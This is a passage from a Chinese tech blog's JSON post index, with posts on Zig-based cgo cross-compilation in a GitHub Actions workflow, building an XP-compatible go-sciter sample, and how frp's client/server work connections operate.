style=\"color:#e6db74\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ebuild-rotateproxy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eruns-on\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-18.04\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCheckout\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eactions/checkout@v2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSetup Zig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egoto-bus-stop/setup-zig@v1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.9.1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSetup Golang\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eactions/setup-go@v2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ego-version\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1.17\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild RotateProxy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erun\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          # download macos sysroot\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          git clone --depth=1 https://github.com/hexops/sdk-macos-12.0.git \u0026#34;$HOME/macos-SDK\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          # create zig script\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          mkdir -p \u0026#34;$HOME/.bin\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          export PATH=$PATH:\u0026#34;$HOME/.bin\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          touch \u0026#34;$HOME/.bin/zcc\u0026#34; \u0026amp;\u0026amp; touch \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          chmod +x \u0026#34;$HOME/.bin/zcc\u0026#34; \u0026amp;\u0026amp; chmod +x \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          mkdir -p build\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          cd cmd/rotateproxy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          configs=(\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            \u0026#39;linux amd64 x86_64-linux-musl\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            \u0026#39;linux 386 i386-linux-musl\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            \u0026#39;windows amd64 x86_64-windows-gnu\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            \u0026#39;windows 386 i386-windows-gnu\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            \u0026#39;darwin amd64 x86_64-macos-gnu\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          )\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          IFS=$\u0026#39;\\n\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          for i in ${configs[@]}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          do\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            IFS=$\u0026#39; \u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            config=($i)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            goos=${config[0]}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            goarch=${config[1]}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            libc=${config[2]}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            ext=\u0026#39;\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            if [ \u0026#34;${goos}\u0026#34; = \u0026#34;windows\u0026#34; ];then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              ext=\u0026#39;.exe\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            # ref: https://dev.to/kristoff/zig-makes-go-cross-compilation-just-work-29ho\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            echo \u0026#34;goos: ${goos}  goarch: ${goarch}  libc: ${libc}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            echo \u0026#39;#!/bin/sh\u0026#39; \u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            echo \u0026#39;#!/bin/sh\u0026#39; \u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            # ref: https://github.com/ziglang/zig/issues/10660\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            # ref: https://github.com/ziglang/zig/issues/1349\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            # ref: https://github.com/ziglang/zig/issues/10299#issuecomment-989153750\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            if [ \u0026#34;${goos}\u0026#34; = \u0026#34;darwin\u0026#34; ];then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # zig 0.10.0关于sysroot的行为有变更，参见 https://github.com/ziglang/zig/issues/10790#issuecomment-1030712395\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig cc -target \u0026#39;${libc}\u0026#39; --sysroot=\u0026#34;$HOME/macos-SDK/root\u0026#34; -I\u0026#34;$HOME/macos-SDK/root/usr/include\u0026#34; -L\u0026#34;$HOME/macos-SDK/root/usr/lib\u0026#34; -F\u0026#34;$HOME/macos-SDK/root/System/Library/Frameworks\u0026#34; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig c++ -target \u0026#39;${libc}\u0026#39; --sysroot=\u0026#34;$HOME/macos-SDK/root\u0026#34; -I\u0026#34;$HOME/macos-SDK/root/usr/include\u0026#34; -L\u0026#34;$HOME/macos-SDK/root/usr/lib\u0026#34; -F\u0026#34;$HOME/macos-SDK/root/System/Library/Frameworks\u0026#34; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # zig cc 调用clang，clang更新后默认加了一些参数，见 https://github.com/golang/go/issues/38876 https://stackoverflow.com/questions/42074035\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # 经过测试最基本需要 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-availability\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              export CGO_CPPFLAGS=\u0026#34;-Wno-error -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-builtin-requires-header -Wno-availability\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            else\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig cc -target \u0026#39;${libc}\u0026#39; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig c++ -target \u0026#39;${libc}\u0026#39; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            cat \u0026#34;$HOME/.bin/zxx\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            cat \u0026#34;$HOME/.bin/zcc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            CGO_ENABLED=1 GOOS=\u0026#34;${goos}\u0026#34; GOARCH=\u0026#34;${goarch}\u0026#34; CC=\u0026#34;zcc\u0026#34; CXX=\u0026#34;zxx\u0026#34; go build -o \u0026#34;../../build/rotateproxy-${goos}-${goarch}${ext}\u0026#34; -trimpath -ldflags=\u0026#34;-linkmode=external -extldflags=-static -s -w\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          done\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRun GoReleaser\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egoreleaser/goreleaser-action@v2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eargs\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erelease --rm-dist\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eGITHUB_TOKEN\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"使用zig在linux上交叉编译cgo"},{"content":"现在的 https://github.com/sciter-sdk/go-sciter 项目想要兼容 xp 已经十分困难\n我写了一个例子，地址在 https://github.com/akkuman/go-sciter-xp， 旨在提供一个兼容 xp 的 go-sciter 样例。\n感兴趣的可以将项目克隆下来后进行自己的开发\n环境依赖 go 1.10 https://github.com/golang/dep 工具 sciter-sdk 4.4.4.7 关于环境的说明 上面几个环境务必保持相同\nsciter-sdk 为什么使用 4.4.4.7 版本 我使用 rundll32 在 xp 上调用 sciter.dll，最高只能支持到这个版本\n我已经将这个版本的 dll 放到本仓库了\nsciter-4.4.4.7-normal.dll 来自 https://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32 sciter-4.4.4.7-skia.dll 来自 https://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32skia 这两个版本的区别是，skia 使用 skia 进行渲染，并且体积大一些\n为什么使用 go1.10 根据 https://github.com/golang/go/issues/23380 ，golang version 1.10 是最后一个支持xp的版本，后续的版本不对兼容性做保证\n关于gui库\ngovcl: go ver\u0026gt;=1.9.2 : 优势： 可以使用lazarus或delphi等界面设计软件直接画界面 go-sciter: go ver\u0026gt;=1.10：优势：使用了完整的web技术栈，但是肯定不能与浏览器的兼容性相比，不过写界面应该是够了，目前使用sciter的明星产品：rustdesk gotk3：go ver\u0026gt;=1.8 gtk绑定 qt：支持1.10，但是安装较为复杂 考虑到美观和兼容的问题，建议使用 go-sciter\n注意，go1.10不支持go module，需要使用gopath的模式\n为什么使用dep dep 已经是一个不再维护的东西，已经被 go module 取代，但是 module 到 go1.13 才有支持，所以我们使用 dep\n文件请查看 Gopkg.toml\n关于 Gopkg.toml 的解释\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [[constraint]] # 后续的版本合并了新版api（4.4.7.0+），xp可用的sciter-sdk版本最高到 4.4.4.7（https://github.com/c-smile/sciter-sdk/commit/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51） # 见 https://github.com/sciter-sdk/go-sciter/issues/297 与 https://github.com/sciter-sdk/go-sciter/commit/99cd4de65a26163ff93872ef7bba888b479081dc # 所以需要降版本 revision = \u0026#34;a04e052a28133d8a79c82b53fc861d1e473c0499\u0026#34; name = \u0026#34;github.com/sciter-sdk/go-sciter\u0026#34; [[override]] branch = \u0026#34;master\u0026#34; name = \u0026#34;github.com/lxn/win\u0026#34; [[override]] # 新版会报错 shift count type int, must be unsigned integer，见 shift count type int, must be unsigned integer # lxn/win 中引用了 window.UTF16PtrToString，所以不能引入太老的版本，见 https://github.com/golang/sys/blame/66a0560e4e097a54e439cdc529e28fcd0f9014e8/windows/syscall_windows.go branch = \u0026#34;internal-branch.go1.16-vendor\u0026#34; name = \u0026#34;golang.org/x/sys\u0026#34; [prune] go-tests = true # unused-packages = true unused-packages = true 被注释掉了，主要是因为vendor默认会将不包含go文件的文件夹去除，而go-sciter使用了cgo，并将头文件全部放置到了同一个文件夹，luuny 还提了个 PR，不过使用dep可以对此行为进行控制，就不需要了，dep的详细使用说明可见 https://blog.csdn.net/chenguolinblog/article/details/90665116 go-sciter 我指定了特定的commit，主要是因为api的破坏性更新，具体原因见注释 golang.org/x/sys 我 override 并指定了特定的分支，主要是因为存在依赖关系 go-sciter -\u0026gt; lxn/win -\u0026gt; x/sys/windows，不指定会默认使用 master 分支上的最新版本，会报错 shift count type int, must be unsigned integer，但是又不能使用太老的版本，因为 lxn/win 中引用了 window.UTF16PtrToString，我搜寻了一下 blame，找到了离 UTF16PtrToString 最近的分支版本，你也可以继续测试更改版本的分支，我只是测试该版本无问题就使用了 样例构建说明 安装 go1.10 克隆该仓库到 $GOPATH/src 下面（就是gopath开发模式） 按照 https://github.com/golang/dep 中的说明安装 dep 使用命令 dep ensure 初始化 vendor 使用命令 go build -ldflags=\u0026quot;-H windowsgui\u0026quot; 进行构建（环境变量 GOARCH=386），注意：需要手动指定32位的编译器（即修改CC和CXX，我的例子中我使用 CC=D:\\Applications\\Soft\\mingw32\\bin\\gcc;CXX=D:\\Applications\\Soft\\mingw32\\bin\\g++） 将 sciter-4.4.4.7-normal.dll 或 sciter-4.4.4.7-skia.dll 更名为 sciter.dll，运行exe即可 截图 ","permalink":"https://www.hacktech.cn/post/2022/09/go-sciter-xp/","summary":"\u003cp\u003e现在的 \u003ca href=\"https://github.com/sciter-sdk/go-sciter\"\u003ehttps://github.com/sciter-sdk/go-sciter\u003c/a\u003e 项目想要兼容 xp 已经十分困难\u003c/p\u003e\n\u003cp\u003e我写了一个例子，地址在 \u003ca href=\"https://github.com/akkuman/go-sciter-xp\"\u003ehttps://github.com/akkuman/go-sciter-xp\u003c/a\u003e， 旨在提供一个兼容 xp 的 go-sciter 样例。\u003c/p\u003e\n\u003cp\u003e感兴趣的可以将项目克隆下来后进行自己的开发\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"环境依赖\"\u003e环境依赖\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ego 1.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/dep\"\u003ehttps://github.com/golang/dep\u003c/a\u003e 工具\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51\"\u003esciter-sdk 4.4.4.7\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"关于环境的说明\"\u003e关于环境的说明\u003c/h3\u003e\n\u003cp\u003e上面几个环境务必保持相同\u003c/p\u003e\n\u003ch4 id=\"sciter-sdk-为什么使用-4447-版本\"\u003esciter-sdk 为什么使用 4.4.4.7 版本\u003c/h4\u003e\n\u003cp\u003e我使用 rundll32 在 xp 上调用 sciter.dll，最高只能支持到这个版本\u003c/p\u003e\n\u003cp\u003e我已经将这个版本的 dll 放到本仓库了\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/akkuman/go-sciter-xp/blob/master/sciter-4.4.4.7-normal.dll\"\u003esciter-4.4.4.7-normal.dll\u003c/a\u003e 来自 \u003ca href=\"https://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32\"\u003ehttps://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/akkuman/go-sciter-xp/blob/master/sciter-4.4.4.7-skia.dll\"\u003esciter-4.4.4.7-skia.dll\u003c/a\u003e 来自 \u003ca href=\"https://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32skia\"\u003ehttps://github.com/c-smile/sciter-sdk/tree/c7d48627e8716bb803bebf2c74f54ab2dd0d7c51/bin.win/x32skia\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这两个版本的区别是，skia 使用 skia 进行渲染，并且体积大一些\u003c/p\u003e\n\u003ch4 id=\"为什么使用-go110\"\u003e为什么使用 go1.10\u003c/h4\u003e\n\u003cp\u003e根据 \u003ca href=\"https://github.com/golang/go/issues/23380\"\u003ehttps://github.com/golang/go/issues/23380\u003c/a\u003e ，golang version 1.10 是最后一个支持xp的版本，后续的版本不对兼容性做保证\u003c/p\u003e\n\u003cp\u003e关于gui库\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003egovcl: go ver\u0026gt;=1.9.2 : 优势： 可以使用lazarus或delphi等界面设计软件直接画界面\u003c/li\u003e\n\u003cli\u003ego-sciter: go ver\u0026gt;=1.10：优势：使用了完整的web技术栈，但是肯定不能与浏览器的兼容性相比，不过写界面应该是够了，目前使用sciter的明星产品：rustdesk\u003c/li\u003e\n\u003cli\u003egotk3：go ver\u0026gt;=1.8 gtk绑定\u003c/li\u003e\n\u003cli\u003eqt：支持1.10，但是安装较为复杂\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e考虑到美观和兼容的问题，建议使用 go-sciter\u003c/p\u003e\n\u003cp\u003e注意，go1.10不支持go module，需要使用gopath的模式\u003c/p\u003e\n\u003ch4 id=\"为什么使用dep\"\u003e为什么使用dep\u003c/h4\u003e\n\u003cp\u003edep 已经是一个不再维护的东西，已经被 go module 取代，但是 module 到 go1.13 才有支持，所以我们使用 dep\u003c/p\u003e","title":"xp 兼容的 go-sciter"},{"content":"首先根据源码梳理出时序图\nsequenceDiagram actor u as user participant s as server participant c as client loop 直到登录成功 c -\u003e\u003e + s : login s --\u003e\u003e - c : version+runid+udpport+err end loop 心跳 c -) + s : 心跳ping s --) - c : 心跳pong end activate s s -) c : 发送 ReqWorkConn 消息，根据连接池配置建立连接 c --\u003e\u003e s : 建立连接，发送 NewWorkConn 消息，带上runid s -\u003e\u003e s: 将连接放入runid对应的连接池 deactivate s c -) + s : 根据 client proxy 配置，发送 NewProxy 请求 s -\u003e\u003e s : 启动proxy(监听proxy对应的端口) s --\u003e\u003e - c : 回复 NewProxyResp 消息(带入proxyName)\tu -\u003e\u003e + s : 访问 proxy 监听的端口 s -\u003e\u003e s : 将用户请求与 client 连接池中的一个可用连接串联起来 s -) c : 在上述可用连接上发送 StartWorkConn 消息，告知有新的用户连接接入该 proxy c -\u003e\u003e c : 处理该连接 frp中 client 和 server 之间的连接有 workConn 和普通连接两类，workConn 主要是为了和用户主动发起的连接打通，而普通连接主要是 client 与 server 之间的业务交流\n普通连接建立后，由 server 下发指令给 client，让 client 主动与 server 建立新的 workConn，server 会根据 runid 将这些连接放入该 client 专有的 workConn 连接池中，这些 workConn 会等待后续的 StartWorkConn 指令\nclient 会通过普通连接，告知 server 需要启动 proxy，然后 server 端会根据 client 传递过来的 proxy 配置来进行端口监听，如果该端口上监听到用户请求，会从 workConn 连接池中取出一个可用连接，并给 client 发送 StartWorkConn 指令（其实这两步是一起的，因为tcp的性质，如果你不发送数据，就无法判断该连接是否还可用），告知有新的用户连接接入该 proxy\nclient 在 workConn 接收到 StartWorkConn 指令后，将会根据 proxy 配置来处理 workConn，后续的 用户-server-client 之间的数据将被串联起来。\nfrp整体采用了channel来处理连接的数据传输，所以整体流程从代码上是很割裂的，需要有耐心地阅读。\n其实frp还有很多功能，但是并不影响主流程的理解，此处不一一展开了。\n源码阅读注释可查看 https://github.com/akkuman/readsource-frp-3e721d1/compare/98e0b93\u0026hellip;master\n","permalink":"https://www.hacktech.cn/post/2022/08/frp-source-read/","summary":"\u003cp\u003e首先根据源码梳理出时序图\u003c/p\u003e\n\u003cdiv class=\"mermaid\"\u003esequenceDiagram\n\tactor u as user\n\tparticipant s as server\n\tparticipant c as client\n\tloop 直到登录成功\n\t\tc -\u003e\u003e + s : login\n\t\ts --\u003e\u003e - c : 